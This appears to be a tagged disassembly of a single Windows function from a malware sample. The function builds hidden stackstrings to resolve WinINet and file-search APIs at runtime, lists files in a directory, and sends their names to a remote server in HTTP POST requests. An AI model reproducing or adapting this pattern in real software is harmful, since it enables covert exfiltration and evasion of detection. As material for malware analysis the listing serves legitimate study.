Function at 0x140004290
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x898]
sub rsp, 0x998
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x880], rax
mov qword [rbp - 0x28], r9
mov qword [rsp + 0x70], r8
mov r14, rdx
mov qword [rbp + 0x2e0], rdx
mov r13, rcx
mov qword [rbp - 0x58], rcx
xor edi, edi
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov qword [rbp + 0x36c], rdi
mov dword [rbp + 0x316], edi
mov word [rbp + 0x31a], di
mov word [rbp + 0x389], di
mov byte [rbp + 0x38b], dil
mov word [rbp + 0x3a1], di
mov byte [rbp + 0x3a3], dil
mov word [rbp + 0x3b9], di
mov byte [rbp + 0x3bb], dil
mov dword [rbp + 0x360], 0x696e6957
mov dword [rbp + 0x364], 0x2e74656e
mov dword [rbp + 0x368], 0x6c6c64
mov dword [rbp + 0x308], 0x65746e49
mov dword [rbp + 0x30c], 0x74656e72
mov dword [rbp + 0x310], 0x6e65704f
mov word [rbp + 0x314], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [rbp + 0x378], xmm0
mov byte [rbp + 0x388], dil
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [rbp + 0x390], xmm1
mov byte [rbp + 0x3a0], dil
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [rbp + 0x3a8], xmm0
mov byte [rbp + 0x3b8], dil
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp + 0x308]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003feb0], rax
lea rdx, [rbp + 0x378]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef0], rax
lea rdx, [rbp + 0x390]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec0], rax
lea rdx, [rbp + 0x3a8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fed0], rax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x140004460
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
jmp 0x140005329
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, word [rbp + 0x918]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140004439
mov ecx, 0xa
call fcn.140012abc
mov qword [rsp + 0x78], rax
xor ecx, ecx
mov qword [rax], rcx
mov word [rax + 8], cx
mov dword [rax], 0x54534f50
mov ecx, 0xa
call fcn.140012abc
mov r15, rax
mov qword [rbp - 0x60], rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [r14 + r8], dil
jne 0x1400044f6
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.1400019f0
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.140001df0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140004555
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000550c
call fcn.140012570
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rdi
mov r8d, 2
lea rdx, [0x140038d90]
lea rcx, [rbp + 0x18]
call fcn.1400019f0
nop
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x50]
call fcn.140001df0
nop
mov r9, rax
cmp qword [rax + 0x18], 7
jbe 0x1400045a7
mov r9, qword [rax]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x1400045ef
lea rax, [rdi + rsi]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rcx, 7
cmova rbx, qword [rbp - 0x20]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.14002adb0
lea rax, [rsi + rdi]
xor esi, esi
mov word [rbx + rax*2], si
jmp 0x140004602
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.1400098f0
xor esi, esi
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140004644
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000463f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005512
call fcn.140012570
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], si
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140004692
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000468d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005518
call fcn.140012570
xor edx, edx
mov r8d, 0x250
lea rcx, [rbp + 0x80]
call fcn.14002a9f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x348], xmm0
mov dword [rbp + 0x358], eax
mov dword [rbp + 0x348], 0x6e72656b
mov dword [rbp + 0x34c], 0x32336c65
mov dword [rbp + 0x350], 0x6c6c642e
mov byte [rbp + 0x354], al
lea rcx, [rbp + 0x348]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov dword [rbp + 0x2ff], esi
mov byte [rbp + 0x303], 0
mov dword [rbp + 0x2f0], 0x646e6946
mov dword [rbp + 0x2f4], 0x73726946
mov dword [rbp + 0x2f8], 0x6c694674
mov word [rbp + 0x2fc], 0x5765
mov byte [rbp + 0x2fe], 0
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fe88], rax
mov dword [rbp + 0x32e], esi
mov word [rbp + 0x332], si
mov dword [rbp + 0x320], 0x646e6946
mov dword [rbp + 0x324], 0x7478654e
mov dword [rbp + 0x328], 0x656c6946
mov word [rbp + 0x32c], 0x57
lea rdx, [rbp + 0x320]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fee8], rax
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
lea rdx, [rbp + 0x80]
call qword [0x14003fe88]
mov rbx, rax
mov qword [rbp + 0x2d0], rax
cmp rax, 0xffffffffffffffff
je 0x140005068
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov qword [rbp + 0x10], rsi
test byte [rbp + 0x80], 0x10
je 0x140004803
lea rdx, [0x140038d94]
lea rcx, [rbp + 0xac]
call fcn.14001da88
test eax, eax
je 0x140004e5d
lea rdx, [0x140038d98]
lea rcx, [rbp + 0xac]
call fcn.14001da88
test eax, eax
je 0x140004e5d
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140004820
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.1400019f0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140001df0
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x1400048c7
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140004892
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000488d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005524
call fcn.140012570
xor r14d, r14d
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r14w
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
jmp 0x1400048ca
xor r14d, r14d
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000490a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004905
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005524
call fcn.140012570
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140004958
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000552a
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov r8d, 1
lea rdx, [0x140038da0]
lea rcx, [rsp + 0x50]
call fcn.1400019f0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140001df0
nop
mov r9, rax
cmp qword [rax + 0x18], 7
jbe 0x14000499e
mov r9, qword [rax]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x1400049e5
lea rax, [rsi + rdi]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rcx, 7
cmova rbx, qword [rbp - 0x20]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.14002adb0
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r14w
jmp 0x1400049f7
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.1400098f0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140004a37
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005530
call fcn.140012570
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140004a85
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005536
call fcn.140012570
lea rdx, [rbp + 0xac]
lea rcx, [rbp - 0x80]
call fcn.140009160
nop
mov r9, rax
cmp qword [rax + 0x18], 7
jbe 0x140004aa3
mov r9, qword [rax]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140004aea
lea rax, [rdi + rsi]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rcx, 7
cmova rbx, qword [rbp - 0x20]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.14002adb0
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r14w
jmp 0x140004afc
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.1400098f0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140004b3c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000553c
call fcn.140012570
test byte [rbp + 0x80], 0x10
je 0x140004b68
mov rdx, qword [rbp + 8]
lea r8, [rbp - 0x20]
cmp rdx, qword [rbp + 0x10]
je 0x140004b5f
call fcn.140009f00
add qword [rbp + 8], 0x20
jmp 0x140004b68
lea rcx, [rbp]
call fcn.140009c00
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x38]
call fcn.140001f30
nop
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
jbe 0x140004b8a
mov rax, qword [rbp + 0x38]
mov rdx, rax
jmp 0x140004b8e
lea rdx, [rbp + 0x38]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140004b91
lea rcx, [rbp + 0x58]
call fcn.140001260
nop
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x18]
call fcn.14000a020
nop
mov qword [rsp + 0x38], r14
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9, r15
lea r8, [0x14003ffc0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [0x14003fec0]
mov r15, rax
test rax, rax
je 0x140004ed4
mov ecx, 0x64
call fcn.140012abc
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
mov dword [rdi + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
mov qword [rax + 0x30], r14
mov qword [rax + 0x38], r14
mov dword [rax + 0x40], r14d
mov word [rax + 0x44], r14w
mov dword [rax], 0x746e6f43
mov dword [rax + 4], 0x2d746e65
mov dword [rax + 8], 0x65707954
mov dword [rax + 0xc], 0x7061203a
mov dword [rax + 0x10], 0x63696c70
mov dword [rax + 0x14], 0x6f697461
mov dword [rax + 0x18], 0x2d782f6e
mov dword [rax + 0x1c], 0x2d777777
mov dword [rax + 0x20], 0x6d726f66
mov dword [rax + 0x24], 0x6c72752d
mov dword [rax + 0x28], 0x6f636e65
mov dword [rax + 0x2c], 0x646564
mov rcx, rax
mov rdx, rdi
sub rdx, rax
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140004ca0
mov ecx, 0xbb8
call fcn.14001bf24
mov rsi, rax
xor edx, edx
mov r8d, 0xbb8
mov rcx, rax
call fcn.14002a9f0
mov ecx, 0xa
call fcn.140012abc
mov r14, rax
xor eax, eax
mov dword [r14 + 6], eax
mov dword [r14], 0x75696c66
mov word [r14 + 4], 0x64
lea r9, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r9, qword [rbp + 0x18]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str._s_s_____s
mov rcx, rsi
call fcn.140001c70
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x140004d20
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140004d30
mov dword [rsp + 0x20], eax
mov r9, rsi
mov rdx, rdi
mov rcx, r15
call qword [0x14003fed0]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, rsi
call fcn.14001baf8
mov rcx, r14
call fcn.140012570
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140004db2
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005542
call fcn.140012570
xor esi, esi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], sil
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140004e00
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005548
call fcn.140012570
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140004e3b
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000554e
call fcn.140012570
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov r14, qword [rbp + 0x2e0]
mov r15, qword [rbp - 0x60]
mov rbx, qword [rbp + 0x2d0]
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [0x14003fee8]
test rax, rax
jne 0x1400047c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000522e
mov rdx, qword [rbp + 8]
call fcn.1400096d0
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000551e
call fcn.140012570
jmp 0x14000522e
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], r14
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140004f32
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005542
call fcn.140012570
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140004f7e
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005548
call fcn.140012570
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140004fb9
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000554e
call fcn.140012570
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rcx, qword [rbp]
test rcx, rcx
je 0x140005020
mov rdx, qword [rbp + 8]
call fcn.1400096d0
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000500f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400054fa
call fcn.140012570
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140005329
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005324
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005500
jmp 0x140005324
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
xor eax, eax
mov qword [rbp + 0x2e0], rax
mov word [rbp + 0x2e8], ax
mov dword [rbp + 0x2e0], 0x54534f50
mov byte [rbp + 0x2e4], al
mov dword [rbp + 0x2d6], 0x312e
mov dword [rbp + 0x2d0], 0x50545448
mov word [rbp + 0x2d4], 0x312f
mov qword [rsp + 0x38], rsi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x2d0]
lea r8, [0x14003ffc0]
lea rdx, [rbp + 0x2e0]
mov rcx, qword [rsp + 0x48]
call qword [0x14003fec0]
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
movups xmmword [rbp + 0x430], xmm0
movups xmmword [rbp + 0x440], xmm0
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
mov dword [rbp + 0x470], eax
movdqa xmmword [rbp + 0x3f0], xmm0
mov dword [rbp + 0x400], esi
mov word [rbp + 0x404], si
movdqa xmm0, xmmword [0x140039160]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [str.plication_x_www_InternetOpenUrlAInternetConnectAHttpSendRequestAHttpOpenRequestAWideCharToMultiBMultiByteToWideC__1WrCVzW4kSDNbNGetEnvironmentVaConsoleWindowClaInternetReadFileWaitForSingleObj9L8xd3G5obLRuXfk728kpBvLt9ncjp5lContent_Type:_apTt__cqWf4vQlofzqGetSystemFirmwartelsiairegion.xy_]
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm0, xmmword [str.form_urlencoded]
movdqa xmmword [rbp + 0x3e0], xmm0
mov rcx, rsi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x3c0]
mov byte [rbp + rcx + 0x410], al
lea rcx, [rcx + 1]
test al, al
jne 0x140005170
mov dword [rbp + 0x33e], esi
mov dword [rbp + 0x338], 0x72656c66
mov word [rbp + 0x33c], 0x72
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x480]
call fcn.14002a9f0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
lea r8, [rbp + 0x338]
lea rdx, str._s_d_____s
lea rcx, [rbp + 0x480]
call fcn.140001c70
lea rcx, [rbp + 0x480]
mov rax, r12
inc rax
cmp byte [rcx + rax], 0
jne 0x1400051e5
lea rdx, [rbp + 0x410]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140005200
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x480]
lea rdx, [rbp + 0x410]
mov rcx, rdi
call qword [0x14003fed0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0xa
call fcn.140012abc
mov r14, rax
mov dword [rax + 6], esi
mov dword [rax], 0x64756c66
mov word [rax + 4], 0x74
mov ecx, 0xbb8
call fcn.140012abc
mov rsi, rax
xor edx, edx
mov r8d, 0xbb8
mov rcx, rax
call fcn.14002a9f0
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x70]
mov r8, r14
lea rdx, str._s_s____s
mov rcx, rsi
call fcn.140001c70
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov r9, r15
lea r8, [0x14003ffc0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [0x14003fec0]
mov r15, rax
test rax, rax
jne 0x14000534f
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140005329
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005324
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005506
call fcn.140012570
mov rax, r13
mov rcx, qword [rbp + 0x880]
xor rcx, rsp
call fcn.140012550
add rsp, 0x998
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x64
call fcn.140012abc
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
mov dword [rdi + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
xor eax, eax
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rax
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rcx, rbx
mov rdx, rdi
sub rdx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140005400
mov rax, r12
inc rax
cmp byte [rsi + rax], 0
jne 0x140005411
nop word [rax + rax]
inc r12
cmp byte [rdi + r12], 0
jne 0x140005420
mov r8, r12
mov dword [rsp + 0x20], eax
mov r9, rsi
mov rdx, rdi
mov rcx, r15
call qword [0x14003fed0]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call fcn.140012570
mov rcx, rsi
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, rdi
call fcn.140012570
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call fcn.140012570
mov rcx, qword [rbp - 0x60]
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [r13], xmm0
xor eax, eax
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], rax
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140005329
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005324
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005506
jmp 0x140005324
call fcn.140019138
nop
call fcn.140019138
int3
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3